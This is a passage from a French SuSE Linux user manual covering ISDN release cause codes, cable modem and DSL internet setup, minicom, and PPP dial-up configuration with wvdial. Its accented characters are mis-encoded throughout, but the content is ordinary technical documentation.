  12070.                            prΘsente  toujours  cette  sortie  en  mode  hexadΘcimal.  Certains  messages  ne
  12071.  
  12072.  
  12073. 184
  12074.        _____________________________________________________________6.2.__AccΦs_Internet_par_ISDN_~_Configuration__________________*
  12075.  *______________________
  12076.  
  12077.  
  12078.  
  12079. sont pas dus α une erreur dans le sens propre du terme mais au comportement
  12080. normal d'une communication tΘlΘphonique (``occupΘe'', ``communication ter-
  12081. minΘe par raccrochage'').
  12082.  
  12083. Voici  quelques  prΘcisions  sur  les  ``causes''  des  messages,  avec  l'aimable
  12084. autorisation de l'Institut pour SystΦmes ╔lectroniques et Technique de Trans-
  12085. mission  de  l'UniversitΘ  de  Dortmund  :  http://www-esv.e-technik.
  12086. uni-dortmund.de. Notez que HiSaX affiche toujours ces valeurs en mode
  12087. hexadΘcimal.
  12088.        ______________________________________________________________________________________________________________________
  12089.  
  12090.    Cause#  dez/hex              Description
  12091.  
  12092.  
  12093.                                 Groupe 0/1 - Causes normales
  12094.  
  12095.  
  12096.      #1  01                     Bien que le numΘro appelΘ soit complet et puisse Ωtre
  12097.                                 interprΘtΘ par le rΘseau, il n'est pas attribuΘ actuelle-
  12098.                                 ment α un poste terminal.
  12099.      #2  02                     Le rΘseau de transit spΘcifiΘ n'est pas identifiΘ par le
  12100.                                 central. Ceci peut se produire soit parce que le rΘseau
  12101.                                 de transit dΘsirΘ n'existe pas, soit parce qu'il refuse
  12102.                                 le service demandΘ.
  12103.      #3  03                     Il n'a pas ΘtΘ possible de parvenir jusqu'α l'abonnΘ
  12104.                                 final, celui-ci Θtant probablement connectΘ α un autre
  12105.                                 rΘseau.
  12106.      #6  06                     L'abonnΘ appelΘ ne peut pas utiliser le canal requis.
  12107.      #7  07                     L'appel a ΘtΘ refusΘ par l'abonnΘ appelΘ, le canal re-
  12108.                                 quis Θtant dΘjα occupΘ (canal virtuel, X.31 ou X.25)
  12109.      #16  10                    Cette cause indique que l'un des abonnΘs concernΘs
  12110.                                 a mis fin α la communication.
  12111.      #17  11                    Le numΘro est occupΘ et l'abonnΘ appelΘ ne peut ni
  12112.                                 rΘagir α un autre appel ni le prendre en compte.
  12113.      #18  12                    Le numΘro appelΘ a ΘtΘ atteint mais il n'a pas ΘtΘ rΘ-
  12114.                                 pondu en temps voulu α la demande d'Θtablissement
  12115.                                 de communication ``SETUP''.
  12116.      #19  13                    Bien que l'appel ait ΘtΘ acceptΘ par le poste terminal,
  12117.                                 il  n'a  pas  ΘtΘ  pris  en  compte  par  l'abonnΘ.  Ceci  se
  12118.                                 produit par exemple lorsque le tΘlΘphone sonne dans
  12119.                                 un appartement vide.
  12120.      #21  15                    L'appel  a  ΘtΘ  explicitement  refusΘ  par  l'abonnΘ,  en
  12121.                                 rΘaction par exemple α une tonalitΘ d'appel.
  12122.      #22  16                    Cette cause peut Ωtre Θmise comme option du central
  12123.                                 tΘlΘphonique de destination si le numΘro de l'abonnΘ
  12124.                                 appelΘ a ΘtΘ modifiΘ.
  12125.      #26  1A                    L'appel n'a pas pu Ωtre signalΘ α l'abonnΘ appelΘ.
  12126.      #27  1B                    L'interface de l'abonnΘ appelΘ est actuellement hors
  12127.                                 fonction.
  12128.  
  12129.        ______________________________________________________________________________________________________________________
  12130.  
  12131.                            Tab. 6.1: Continuer α la page suivante...
  12132.  
  12133.  
  12134.                                                                                                                                    *
  12135.  *   185
  12136. 6.  Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
  12137.  *_______________________________________@
  12138.  
  12139.                             _______________________________________________________________________________________________________*
  12140.  *_________
  12141.  
  12142.  
  12143.                                 #28  1C                    Le numΘro appelΘ n'est pas valide ou ne peut pas Ωtre
  12144.                                                            interprΘtΘ par le rΘseau.
  12145.                                 #29  1D                    Un service complΘmentaire demandΘ avec l'Θtablis-
  12146.                                                            sement de la communication ne peut pas Ωtre mis α
  12147.                                                            disposition par le rΘseau.
  12148.                                 #30  1E                    Il  est  signalΘ  que  le  message  STATUS  (rΘponse  α
  12149.                                                            une  demande  d'Θtat)  a  ΘtΘ  Θmis  suite  α  un  message
  12150.                                                            STATUS ENQUIRY                 (demande d'Θtat).
  12151.                                 #31  1F                    Cette cause est gΘnΘrΘe si aucune des autres causes
  12152.                                                            de la classe ``Normal'' n'est α l'origine de la rupture
  12153.                                                            de la communication
  12154.  
  12155.  
  12156.                                                            Groupe 2, ressources non disponibles
  12157.  
  12158.  
  12159.                                 #34  22                    Au central tΘlΘphonique, tous les canaux B (transmis-
  12160.                                                            sion  de  la  voix)  ou  tous  les  canaux  virtuels  (X.25)
  12161.                                                            sont occupΘs.
  12162.                                 #38  26                    Le rΘseau de commutation n'est pas en fonction et ne
  12163.                                                            sera pas actif pour un certain temps.
  12164.                                 #41  29                    Au  central  tΘlΘphonique,  il  existe  un  dΘrangement
  12165.                                                            temporaire  auquel  il  sera  bient⌠t  remΘdiΘ.  Il  vaut
  12166.                                                            donc la peine de rΘpΘter la tentative d'Θtablissement
  12167.                                                            de communication.
  12168.                                 #42  2A                    Au  central  tΘlΘphonique  qui  Θmet  cette  cause,  il
  12169.                                                            n'existe pas, pour le moment, de canal disponible en
  12170.                                                            raison d'une surchage.
  12171.                                 #43  2B                    Les  informations  d'accΦs  transmises  par  l'abonnΘ
  12172.                                                            appelant  comme  par  exemple  mots  de  passe  dans
  12173.                                                            l'ΘlΘment  UTU  (information  utilisateur),  des  don-
  12174.                                                            nΘes LLC ou HLC ne peuvent pas Ωtre transmises α
  12175.                                                            l'abonnΘ appelΘ.
  12176.                                 #44  2C                    Le canal dΘsirΘ ne peut pas Ωtre mis α disposition par
  12177.                                                            l'interface α l'autre bout de la connexion.
  12178.                                 #47  2F                    Cette  cause  est  gΘnΘrΘe  en  cas  de  non  disponibilitΘ
  12179.                                                            d'une  ressource  ne  pouvant  pas  Ωtre  dΘfinie  par  les
  12180.                                                            causes du groupe ``Ressource non disponible''.
  12181.  
  12182.  
  12183.                                                            Groupe 3, Service ou option non disponible
  12184.  
  12185.  
  12186.                                 #49  31                    La norme de qualitΘ (dΘbit,  dΘlai) dΘfinie par la re-
  12187.                                                            commandation X.213 ne peut pas Ωtre respectΘe.
  12188.                                 #50  32                    L'utilisateur a demandΘ un service auquel il n'a pas
  12189.                                                            droit car il n'est pas enregistrΘ comme usager de ce
  12190.                                                            service.
  12191.  
  12192.                             _______________________________________________________________________________________________________*
  12193.  *_________
  12194.  
  12195.                                                       Tab. 6.1: Continuer α la page suivante...
  12196. 186
  12197.   _____________________________________________________________6.2.__AccΦs_Internet_par_ISDN_~_Configuration_______________________*
  12198.  *_________________
  12199.  
  12200.   ______________________________________________________________________________________________________________________
  12201.  
  12202.  
  12203. #57  39                     L'utilisateur n'a pas droit, sur le support, au service
  12204.                             demandΘ.
  12205. #58  3A                     Le service de transmission demandΘ n'est pas dispo-
  12206.                             nible actuellement.
  12207. #59  3B                     Indique une option ou un service non disponible qui
  12208.                             n'est pas dΘfini par les causes prΘcΘdentes.
  12209.  
  12210.  
  12211.                             Groupe 4, Service ou option non implΘmentΘ(e)
  12212.  
  12213.  
  12214. #65  41                     L'appareil Θmetteur n'est pas en mesure de mettre α
  12215.                             disposition la fonction ``bearer capabiltiy'' requise.
  12216. #66  42                     Le type de canal demandΘ n'est pas disponible.
  12217. #69  45                     Le service demandΘ n'est pas implΘmentΘ.
  12218. #70  46                     L'utilisateur  a  demandΘ  une  transmission  sans  res-
  12219.                             triction d'information digitale mais seule une trans-
  12220.                             mission restreinte est admise.
  12221. #79  4F                     Une option ou un service ne pouvant Ωtre dΘfini par
  12222.                             les causes prΘcΘdentes n'est pas implΘmentΘ.
  12223.  
  12224.  
  12225.                             Groupe  5,  Message  non  valide,  zone  de  para-
  12226.                             mΦtres non admissible
  12227.  
  12228.  
  12229. #81  51                     Il  a  ΘtΘ  reτu  un  message  comportant  une  valeur  de
  12230.                             rΘfΘrence non valide actuellement.
  12231. #82  52                     Le canal demandΘ n'existe pas sur l'interface qui gΘ-
  12232.                             nΦre cette cause. Ceci peut se produire par exemple
  12233.                             avec CHI = 26 sur une interface PCM 24.
  12234. #83  53                     Il a ΘtΘ tentΘ de reprendre un appel suspendu avec une
  12235.                             identitΘ d'appel (angl. call ID) non valide.
  12236. #84  54                     Il a ΘtΘ tentΘ, lors de la suspension d'un appel, d'uti-
  12237.                             liser une identitΘ d'appel dΘjα en service dans la zone
  12238.                             du contr⌠leur concernΘ.
  12239. #85  55                     Il  a  ΘtΘ  tentΘ  de  reprendre  un  appel  bien  qu'aucun
  12240.                             appel n'ait ΘtΘ suspendu.
  12241. #86  56                     L'appel ayant l'identitΘ d'appel demandΘe a dΘjα ΘtΘ
  12242.                             libΘrΘ.
  12243. #88  58                     L'interface de l'abonnΘ final appelΘ n'est pas compa-
  12244.                             tible avec les LLC, HLC ou autres attributs supplΘ-
  12245.                             mentaires demandΘs.
  12246. #91  5B                     Un  rΘseau  de  transit  a  ΘtΘ  demandΘ  d'une  maniΦre
  12247.                             non valide.
  12248.  
  12249.   ______________________________________________________________________________________________________________________
  12250.  
  12251.                       Tab. 6.1: Continuer α la page suivante...
  12252.  
  12253.                                                                                                                                  187
  12254. 6.  Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
  12255.  *_______________________________________@
  12256.  
  12257.                             _______________________________________________________________________________________________________*
  12258.  *_________
  12259.  
  12260.  
  12261.                                 #95  5F                    Cette cause est Θmise si aucune des autres causes ne
  12262.                                                            s'applique α un message non valide.
  12263.  
  12264.  
  12265.                                                            Groupe 6, erreur de protocole
  12266.  
  12267.  
  12268.                                 #96  60                    Un ΘlΘment obligatoire d'information est absent.
  12269.                                 #97  61                    Un  message  de  type  inconnu  ou  non  implΘmentΘ  a
  12270.                                                            ΘtΘ reτu par l'unitΘ Θmettrice.
  12271.                                 #98  62                    Il a ΘtΘ reτu soit un message incompatible avec l'Θtat
  12272.                                                            de l'appel, soit un message STATUS avec un Θtat non
  12273.                                                            valide.
  12274.                                 #99  63                    Il  a  ΘtΘ  reτu  un  ΘlΘment  d'information  inconnu  ou
  12275.                                                            non  implΘmentΘ.  L'ΘlΘment  d'information  peut  Ωtre
  12276.                                                            omis lors d'une nouvelle tentative afin d'accΘder α la
  12277.                                                            fonction demandΘe.
  12278.                                 #100  64                   Le contenu d'un ΘlΘment d'information n'est pas va-
  12279.                                                            lide et ne peut pas Ωtre utilisΘ par l'appareil qui Θmet
  12280.                                                            la cause.
  12281.                                 #101  65                   Il a ΘtΘ reτu un message incompatible avec l'Θtat ac-
  12282.                                                            tuel de l'appel.
  12283.                                 #102  66                   Une  procΘdure  de  rΘtablissement  d'un  Θtat  stable  a
  12284.                                                            ΘtΘ dΘmarrΘe aprΦs expiration de la temporisation.
  12285.                                 #111  6F                   Il  s'est  produit  une  erreur  non  spΘcifiΘe  dans  ce
  12286.                                                            groupe.
  12287.  
  12288.                             _______________________________________________________________________________________________________*
  12289.  *_________
  12290.  
  12291.                                                         Tab. 6.1: Causes de libΘration ISDN
  12292.                            6.3       Modem cΓble
  12293.  
  12294.  
  12295.                            Dans quelques pays europΘens ainsi qu'aux USA et au Canada, l'accΦs In-
  12296.                            ternet  par  tΘlΘcΓble  est  trΦs  rΘpandu.  Nous  allons  vous  prΘsenter,  comme
  12297.                            exemple, un guide qui explique pas α pas comment accΘder α Internet avec
  12298.                            le service tΘlΘcΓble autrichien. Ces instructions devraient aussi Ωtre valables
  12299.                            pour d'autres cabl⌠distributeurs.
  12300.  
  12301.  
  12302.  
  12303.                            6.3.1      Informations de base
  12304.  
  12305.                            L'abonnΘ  reτoit  du  cabl⌠distributeur  un  ``modem''  qui  sera  reliΘ  d'une  part
  12306.                            au  cΓble  tΘlΘvision  et  d'autre  part  α  une  carte  rΘseau  au  moyen  d'un  cΓble
  12307.                            10Base-T (paire torsadΘe). Ce modem reprΘsente pour l'ordinateur une ligne
  12308.                            permanente avec, dans la majeure partie des cas, une adresse IP fixe.
  12309.  
  12310.  
  12311.  
  12312.                            Marche α suivre pour l'installation
  12313.  
  12314.                             1.   Si  vous  avez  dΘjα  configurΘ  votre  carte  rΘseau,  continuez  en  passant  au
  12315.                                  point 8.
  12316.  
  12317.  
  12318. 188
  12319.         __________________________________________________________________________6.4.__T-DSL,_T-ISDN-DSL,_ADSL_:_:_:______________*
  12320.  *_______________________
  12321.  
  12322.  
  12323.  
  12324.   2.   Lancez_YaST_ sous_le_compte `root' ~ si vous Ωtes sous KDE, appuyez
  12325.        sur |A____l|t+ |F___|2et tapez ensuite xterm     . DΘmarrez YaST  dans la nouvelle
  12326.        fenΩtre.
  12327.  
  12328.   3.   Allez  dans  `Administration  du  systΦme',  `IntΘgrer  le  matΘ-
  12329.        riel  dans  le  systΦme', `Configurer  la  carte  rΘseau'.
  12330.  
  12331.   4.   Dans `Type  du  rΘseau', spΘcifiez eth0    .
  12332.  
  12333.   5.   Dans `Type  de  la  carte  rΘseau', sΘlectionnez votre carte.
  12334.  
  12335.   6.   Dans `Options  pour  le  chargement  du  module', spΘcifiez les pa-
  12336.        ramΦtres tels que port d'E/S etc. Voir le chapitre 14 page 367 au sujet des
  12337.        paramΦtres  du  noyau.  Attention  :  Si  vous  possΘdez  une  carte  PCI,  vous
  12338.        n'aurez gΘnΘralement pas besoin de spΘcifier de paramΦtres.
  12339.  
  12340.   7.   Passez α `Continuer'. Retournez au_menu_principal de YaST   (en ap-
  12341.        puyant deux fois sur la touche |E_______c|hap.
  12342.  
  12343.   8.   Allez  dans  `Administration  du  systΦme',  `Configurer  le  rΘ-
  12344.        seau', `Configuration  de  base  du  rΘseau'.
  12345.  
  12346.   9.   Vous Ωtes maintenant dans la fenΩtre `SΘlection  du  rΘseau'.
  12347.  
  12348. 10.    Appuyez sur |F___|_5pour spΘcifier le pΘriphΘrique ethernet       . (s'il n'est pas
  12349.        dΘjα spΘcifiΘ sous `Nom  du  pΘriph.', par exemple eth0    ).
  12350.  
  12351. 11.    Appuyez sur |F___|_3et sΘlectionnez `DHCP'.
  12352.  
  12353. 12.    Appuyez sur |F___|_4pour activer ce pΘriphΘrique.
  12354.  
  12355. 13.    Avec |F_____|10, la configuration est enregistrΘe.
  12356.  
  12357. 14.    Quittez YaST  en appuyant plusieurs fois sur la touche |E________|chap.
  12358.  
  12359. 15.    Vous  pouvez,  en  entrant  rcdhclient  start             ,  activer  votre  accΦs  rΘ-
  12360.        seau. Vous avez ensuite la possibilitΘ de tester l'accΦs, par exemple avec
  12361.        ping  www.suse.de             .
  12362.  
  12363.  Ces instructions sont valables α partir de la version SuSE     6.4. Si vous utilisez
  12364.  encore SuSE      6.3, vous devez effectuer une opΘration supplΘmentaire. Posi-
  12365.  tionnez, avec YaST , la variable rc.config α yes    (voir la marche α suivre
  12366.  au paragraphe 3.6.12 page 114). Le rΘseau sera alors activΘ α chaque dΘmar-
  12367.  rage du systΦme sans qu'il vous soit nΘcessaire d'exΘcuter explicitement une
  12368.  commande.
  12369.  
  12370.  Il existe une alternative ~ pour le cas o∙ l'adresse IP, le masque rΘseau et la
  12371.  passerelle seraient connus et statiques ~ qui consiste α paramΘtrer une confi-
  12372.  guration  fixe  pour  le  rΘseau  (voir  chapitre  5.1  page  156).  Renseignez-vous
  12373.  auprΦs de votre cΓblodistributeur pour savoir si votre adresse IP n'est pas sus-
  12374.  ceptible d'Ωtre modifiΘe α l'avenir. Avantage d'une configuration fixe : si, lors
  12375.  de  l'amorτage,  l'accΦs  par  cΓble  se  trouvait  perturbΘ,  le  processus  d'amor-
  12376.  τage suivra quand mΩme son cours sans problΦme et vous pourrez avoir de
  12377.  nouveau accΦs α Internet dΦs qu'il aura ΘtΘ remΘdiΘ α cette perturbation du
  12378.  rΘseau.
  12379.  
  12380.  
  12381.  6.4       T-DSL, T-ISDN-DSL, ADSL : : :
  12382.  
  12383.  Pour l'accΦs Internet avec T-ISDN-DSL, ADSL etc., il existe dΘjα des solu-
  12384.  tions pour Linux. Celles-ci sont toutefois encore au stade du dΘveloppement
  12385.  et pour cette raison nous n'offrons pas de support direct dans ce contexte.
  12386.  
  12387.  
  12388.                                                                                                                                    *
  12389.  *    189
  12390. 6.  Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
  12391.  *_______________________________________@
  12392.  
  12393.  
  12394.  
  12395.                            Vous  trouverez  cependant  un  article  sur  ce  thΦme  dans  la  base  de  donnΘes
  12396.                            support. Cet article vous fournira des informations sur les plus rΘcentes Θtapes
  12397.                            du  dΘveloppement.  Vous  pouvez  le  lire  sous  http://sdb.suse.de/sdb/
  12398.                            de/html/hoe_adsl_pppoe.html.
  12399.  
  12400.  
  12401.  
  12402.                            6.5       Connexion par modem
  12403.  
  12404.  
  12405.                            Le  branchement  d'un  modem  α  la  machine  se  fait  exactement  de  la  mΩme
  12406.                            maniΦre que sous d'autres systΦmes d'exploitation. Le modem est connectΘ
  12407.                            α la machine par un cΓble sΘrie ou est intΘgrΘ (s'il s'agit d'un modem ``inter-
  12408.                            ne'') dans un slot libre de la machine. Sous YaST , on spΘcifie α quelle inter-
  12409.                            face le modem est reliΘ (voir paragraphe 3.6.1 page 100 et paragraphe 17.6
  12410.                            page 453). Un lien pointant du pΘriphΘrique modem sur /dev/modem est crΘΘ.
  12411.                            Il est donc possible d'accΘder au modem, indΘpendamment du port sur lequel
  12412.                            il est connectΘ, α travers /dev/modem ~ si le lien a ΘtΘ correctement placΘ.
  12413.                            ________________________________________________________________________________________________________*
  12414.  *________||
  12415.  
  12416.                            |  On trouve aussi dans le commerce ce que l'on appelle les ``WinModems''.                              *
  12417.  *        ||||
  12418.                            |  Mais  ils  ne  peuvent  pas  pour  le  moment  Ωtre  utilisΘs  sous  Linux.  Voir  α                 *
  12419.  *        |||
  12420.                            |                                                                                                       *
  12421.  *        |||
  12422.                            |  ce sujet http://sdb.suse.de/sdb/en/html/cep_winmodem.html et                                         *
  12423.  *        |||
  12424.                            |  http://www.linmodems.org/, ainsi que le Modem-HOWTO.gz qui vous                                      *
  12425.  *        |||
  12426.                            |                                                                                                       *
  12427.  *        |||
  12428.                            |  fournira des informations d'ordre gΘnΘral sur les modems                                             *
  12429.  *        |||
  12430.                            |_______________________________________________________________________________________________________*
  12431.  *________|||_
  12432.  
  12433.                            Les programmes d'Θmulation de terminal usuels sont par exemple minicom
  12434.                            ou, sous le systΦme X Window, seyon . Vous pouvez aussi faire les premiers
  12435.                            tests directement avec wvdial  (paragraphe 6.6).
  12436.  
  12437.  
  12438.                            Minicom
  12439.  
  12440.                            Minicom est un programme d'Θmulation de terminal simple α utiliser et sem-
  12441.                            blable au programme DOS Telix .
  12442.  
  12443.                            Tous ceux qui souhaitent utiliser minicom doivent Ωtre prΘalablement inscrits
  12444.                            dans le fichier /etc/minicom.users. Il est dΘterminΘ ici qui peut accΘder α
  12445.                            quel modem et avec quelle configuration.
  12446.  
  12447.                            On  configure  minicom  en  le  lanτant  sous  le  compte  `root'  par  la  com-
  12448.                            mande :
  12449.  
  12450.                                  terre:/  #  minicom  -s
  12451.  
  12452.                            Les  paramΦtres  de  fonctionnement  n'ont  pas  besoin  de  faire  l'objet  d'une
  12453.                            explication.
  12454.                            ________________________________________________________________________________________________________*
  12455.  *________
  12456.                            |  La combinaison de touches |C______|trl+ |L_ |ne fonctionne ni sous xterm ni sous                     *
  12457.  *        |||
  12458.                            |                              ______        _                                                          *
  12459.  *        |||
  12460.                            |  rxvt . Elle fonctionne par contre sous kvt  et dans la console texte.                                *
  12461.  *        |||
  12462.                            |_______________________________________________________________________________________________________*
  12463.  *________|||_
  12464.  
  12465.  
  12466.                            6.6       AccΦs Internet par modem : PPP avec wvdial
  12467.  
  12468.  
  12469.                            Le  programme  wvdial  est  un  outil  trΦs  puissant  qui  permet  d'Θtablir  des
  12470.                            connexions PPP avec les fournisseurs d'accΦs Internet que nous appellerons
  12471.                            dans  la  suite  de  ce  chapitre  +  FAI  (angl.  ISP  ~  Internet  Service  Provider).
  12472.  
  12473.  
  12474. 190
  12475.        ______________________________________________________6.6.__AccΦs_Internet_par_modem_:_PPP_avec_wvdial______________________*
  12476.  *______________________
  12477.  
  12478.  
  12479.  
  12480. Comme les FAI utilisent souvent des configurations diffΘrentes dans le proto-
  12481. cole PPP, il est parfois difficile de retrouver les options adΘquates. Cette tΓche
  12482. est assumΘe par wvdial  qui se sert d'algorithmes intelligents.
  12483.  
  12484. Autrefois, il Θtait toujours nΘcessaire, pour la configuration Internet, de spΘci-
  12485. fier aussi le serveur de noms de domaine (angl. DNS ~ Domain Name Server)
  12486. du FAI. Ceci est devenu superflu avec wvdial  qui reconnaεt automatiquement
  12487. le serveur de noms du FAI dans la mesure o∙ ce dernier communique cette
  12488. information.
  12489. 6.6.1      Configuration de wvdial
  12490.  
  12491.  
  12492. Vous  pouvez  aisΘment  configurer  wvdial  α  partir  de  YaST .  Vous  trouverez
  12493. le  menu  sous  `Administration  du  systΦme',  `Configurer  le  rΘ-
  12494. seau'. La figure 6.5 vous montre ce menu.
  12495.  
  12496.                           Fig. 6.5: wvdial: RΘglage des paramΦtres
  12497.  
  12498.  
  12499.  
  12500. ProcΘdez de la maniΦre suivante :
  12501.  
  12502.  
  12503.  
  12504.   ~   Assurez-vous  que  vous  avez  dΘjα  configurΘ  votre  modem  dans  YaST .
  12505.       Cela  a  dΘjα  d√  se  faire  au  cours  de  la  premiΦre  installation  mais  vous
  12506.       pouvez aussi le faire maintenant (ainsi que nous l'avons ΘvoquΘ au para-
  12507.       graphe 3.6.1 page 100).
  12508.  
  12509.   ~   SΘlectionnez l'option du menu `Configurez  votre  FAI'.
  12510.  
  12511.   ~   SpΘcifiez  le  numΘro  de  tΘlΘphone,  l'identifiant  utilisateur  et  le  mot  de
  12512.       passe (figure 6.6 page suivante).
  12513.  
  12514.       Si  la  communication  est  Θtablie  via  une  installation  tΘlΘphonique  avec
  12515.       raccordements  secondaires,  ajoutez  aprΦs  le  numΘro  d'identification  du
  12516.       rΘseau (``connexion extΘrieure'', par exemple 0 ) une virgule ou un w  : 0,
  12517.       ou 0w   .
  12518.  
  12519.  
  12520.                                                                                                                                    *
  12521.  *   191
  12522. 6.  Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
  12523.  *_______________________________________@
  12524.  
  12525.  
  12526.  
  12527.                                                          Fig. 6.6: wvdial: Configurer le FAI
  12528.  
  12529.  
  12530.                            ________________________________________________________________________________________________________*
  12531.  *________||
  12532.                            |  Si vous travaillez sous le systΦme X Window et si vous avez des difficultΘs                          *
  12533.  *        ||||
  12534.                            |                                                        ___     ___                                    *
  12535.  *        |||
  12536.                            |  α faire des entrΘes parce que les touches flΘchΘes (|____|, |!___|) ou la touche                     *
  12537.  *        |||
  12538.                            |                          | ____7| !                                                                   *
  12539.  *        |||
  12540.                            |  d'effacement  arriΦre  (  ____ )  ne  rΘagissent  pas  comme  vous  le  souhaitez,                   *
  12541.  *        |||
  12542.                            |  vous devriez tout d'abord quitter YaST , passer sur une console texte avec                           *
  12543.  *        |||
  12544.                            |  | ______|    | ____ |   | ___ | | ___|                                                               *
  12545.  *        |||
  12546.                            |   C______trl+   ____Alt+   ___F2- F___6,  vous  connecter  en  tant  que  `root'  et  relancer        *
  12547.  *        |||
  12548.                            |  YaST .                                                                                               *
  12549.  *        |||
  12550.                            |_______________________________________________________________________________________________________*
  12551.  *________|||_
  12552.  
  12553.                              ~   Choisissez la configuration automatique du serveur de noms. Dans le cas
  12554.                                  o∙ cela ne fonctionnerait pas, vous devrez configurer le serveur de noms
  12555.                                  dans YaST  de la maniΦre habituelle (voir paragraphe 3.6.3 page 106).
  12556.  
  12557.                              ~   SΘlectionnez votre mode de numΘrotation. Ce sera le plus souvent la nu-
  12558.                                  mΘrotation par tonalitΘs.
  12559.  
  12560.                              ~   Si  vous  Ωtes  reliΘ  α  une  installation  tΘlΘphonique,  sΘlectionnez  l'option
  12561.                                  `Modem  reliΘ  α  une  installation  tΘlΘphonique'. Dans ce cas,
  12562.                                  on n'attend pas la tonalitΘ.
  12563.  
  12564.                              ~   Sous mode de numΘrotation, `PAP/CHAP' devrait en gΘnΘral fonctionner.
  12565.  
  12566.                              ~   Quittez ce sous-menu.
  12567.  
  12568.                              ~   AprΦs la configuration du fournisseur d'accΦs, nous passons maintenant α
  12569.                                  la reconnaissance du modem. SΘlectionnez simplement l'option `DΘtec-
  12570.                                  tion  automatique  du  modem'.
  12571.  
  12572.                              ~   Si  tout  a  bien  marchΘ,  sΘlectionnez  l'option  `Lancement  de  WvDial
  12573.                                  et  connexion  au  FAI'.  Vous  verrez  apparaεtre  une  fenΩtre  dans  la-
  12574.                                  quelle divers messages vous seront prΘsentΘs.
  12575.  
  12576.                              ~   Si vous voyez un message qui vous fait savoir que le processus PPP a ΘtΘ
  12577.                                  lancΘ, vous pouvez dΘjα utiliser Internet.
  12578.  
  12579.                              ~   VΘrifiez Θventuellement que la connexion a bien ΘtΘ Θtablie._Ouvrez_en-__
  12580.                                  suite  une  autre  fenΩtre  de  terminal  (sous  KDE  :  |____A|lt+  |___F|2et  ensuite
  12581.                                  xterm    ). Tapez dans la fenΩtre de terminal :
  12582.                                       terre:  #  su
  12583.  
  12584.  
  12585.  
  12586. 192
  12587.        ______________________________________________________6.6.__AccΦs_Internet_par_modem_:_PPP_avec_wvdial______________________*
  12588.  *______________________
  12589.  
  12590.  
  12591.  
  12592.       et entrez le mot de passe `root'. Tapez ensuite :
  12593.             terre:  #  tail  -f  /var/log/messages
  12594.  
  12595.       Vous pouvez maintenant suivre les messages du systΦme. DΦs que vous
  12596.       voyez des lignes avec "Local  IP  :" et "Remote  IP  :" ~ suivies cha-
  12597.       cune d'un numΘro IP ~ vous pouvez avoir la certitude que votre connexion
  12598.       Internet est Θtablie.
  12599.  
  12600.   ~   Terminez votre accΦs Internet avec |C______|_trl+ |c__|.
  12601.  
  12602.   ~   Si  tout  ceci  a  bien  marchΘ,  vous  pouvez  dΘmarrer  votre  accΦs  Internet
  12603.       en  invoquant  simplement  wvdial  depuis  la__ligne_ de _commande  et  vous
  12604.       pouvez mettre fin α votre connexion avec |C______|trl+ |c_ |.
  12605.  
  12606.   ~   Vous  pourrez  aussi  plus  tard  modifier  votre  configuration  sans  YaST ,
  12607.       avec  le  programme  wvdial.lxdialog  ou  sous  forme  de  programme  gra-
  12608.       phique avec wvdial.tcl . Ceci n'est cependant possible que sous le compte
  12609.       `root'.
  12610.  
  12611. Vous trouverez la documentation relative α wvdial  dans le rΘpertoire /usr/
  12612. doc/packages/wvdial.
  12613.  
  12614.  
  12615. wvdial, les utilisateurs et la sΘcuritΘ
  12616.  
  12617. Si  vous  voulez  que  d'autres  utilisateurs  que  `root'  puissent  Θtablir  des
  12618. connexions  PPP  avec  wvdial ,  vous  devez,  avec  YaST ,  inscrire  les  utilisa-
  12619. teurs concernΘs dans les groupes `uucp' et `dialout'. Voir le chapitre 3.6.8
  12620. page 112 qui vous indique la marche α suivre.
  12621.  
  12622. Ces utilisateurs auront alors accΦs au fichier /etc/wvdial.conf qui contient
  12623. normalement le login et le mot de passe pour l'accΦs Internet. Pour plus de
  12624. sΘcuritΘ, vous pouvez transfΘrer le mot de passe dans un fichier protΘgΘ :
  12625.  
  12626.  1.   Passez dans le rΘpertoire /etc/ppp et crΘez, en tant que `root', le fichier
  12627.       wvpw avec les droits 600    :
  12628.            terre:  #  cd  /etc/ppp
  12629.            terre:/etc/ppp  #  touch  wvpw
  12630.            terre:/etc/ppp  #  chmod  600  wvpw
  12631.  
  12632.  
  12633.  2.   Chargez le fichier wvpw dans l'Θditeur et inscrivez uniquement le mot de
  12634.       passe. Stockez le fichier en mΘmoire.
  12635.  
  12636.  3.   VΘrifiez si les droits du fichiers wvpw sont encore corrects. Avec
  12637.            terre:/etc/ppp  #  ls  -l  wvpw
  12638.  
  12639.       vous devriez pouvoir vous en assurer. Voir affichage 6.6.1.
  12640.        _______________________________________________________________________________________________________________________
  12641.        |||||||| -rw-------     1  root     root            7    Jan  18  17:20  wvpw                                           |
  12642.        ||||||||                                                                                                                |
  12643.        ||||||||_______________________________________________________________________________________________________________ |
  12644.                   affichage α l'Θcran 6.6.1: Affichage de ls  -l  wvpw
  12645.  
  12646.  
  12647.  4.   Recommencez votre configuration ainsi qu'il est dΘcrit au chapitre 6.6.1
  12648.       page 191. Vous devez cependant spΘcifier @/etc/ppp/wvpw              (prΘcΘdΘ de
  12649.       l'arobase) comme mot de passe. Ainsi, wvdial  saura que le mot de passe
  12650.       doit provenir de ce fichier.
  12651.  
  12652.  
  12653.                                                                                                                                    *
  12654.  *   193
  12655. 6.  Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
  12656.  *_______________________________________@
  12657.  
  12658.  
  12659.  
  12660.                            Le modem Θmet toujours des bips sonores
  12661.                            Si  le  haut-parleur  de  votre  modem  Θmet  des  sons  trop  forts  pendant  la
  12662.  
  12663.                            connexion,  vous  pouvez  Θditer  le  fichier  /etc/wvdial.conf  et  ajouter  la
  12664.                            ligne
  12665.  
  12666.                            Init3  =  ATM0
  12667.  
  12668.                            Cette commande met hors fonction le haut-parleur de votre modem.
  12669.  
  12670.  
  12671.                            6.6.2      Plusieurs fournisseurs d'accΦs avec wvdial
  12672.  
  12673.                            wvdial  est en mesure de gΘrer autant de jeux de paramΦtres que vous dΘsirez.
  12674.                            Pour obtenir ce rΘsultat, vous pouvez ajouter α la section Dialer  Default
  12675.                            du  fichier  /etc/wvdial.conf  des  sections  supplΘmentaires.  Lors  du  lan-
  12676.                            cement  de  wvdial      avec  le  nom  de  l'une  des  sections  supplΘmentaires,  les
